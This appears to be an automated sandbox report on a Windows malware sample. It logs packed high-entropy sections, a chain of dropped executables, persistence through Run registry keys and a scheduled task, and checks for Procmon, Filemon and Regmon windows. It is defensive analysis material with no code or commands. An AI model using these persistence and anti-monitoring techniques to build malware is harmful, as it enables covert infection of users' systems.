Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CDB pushfd ; iretd	1_3_00CF9CDE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CD9 pushfd ; iretd	1_3_00CF9CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CD9 pushfd ; iretd	1_3_00CF9CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF64EC push esp; iretd	1_3_00CF6552
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF64EC push esp; iretd	1_3_00CF6552

Source: file.exe	Static PE information: section name: entropy: 7.978650012013883
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: entropy: 7.795391030943387
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: entropy: 7.977572165344141
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: tfbezuor entropy: 7.954951455800857
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.977572165344141
Source: skotes.exe.5.dr	Static PE information: section name: tfbezuor entropy: 7.954951455800857
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.978650012013883
Source: 445877ac99.exe.8.dr	Static PE information: section name: entropy: 7.978650012013883
Source: random[1].exe0.8.dr	Static PE information: section name: wcxkxkso entropy: 7.953104637728888
Source: d319b3db9a.exe.8.dr	Static PE information: section name: wcxkxkso entropy: 7.953104637728888
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: entropy: 7.795391030943387
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: entropy: 7.977572165344141
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: tfbezuor entropy: 7.954951455800857
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: entropy: 7.795391030943387
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: entropy: 7.977572165344141
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: tfbezuor entropy: 7.954951455800857

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File created: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File created: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File created: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File created: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d319b3db9a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 445877ac99.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0a3006fe7.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 445877ac99.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 445877ac99.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d319b3db9a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d319b3db9a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0a3006fe7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0a3006fe7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
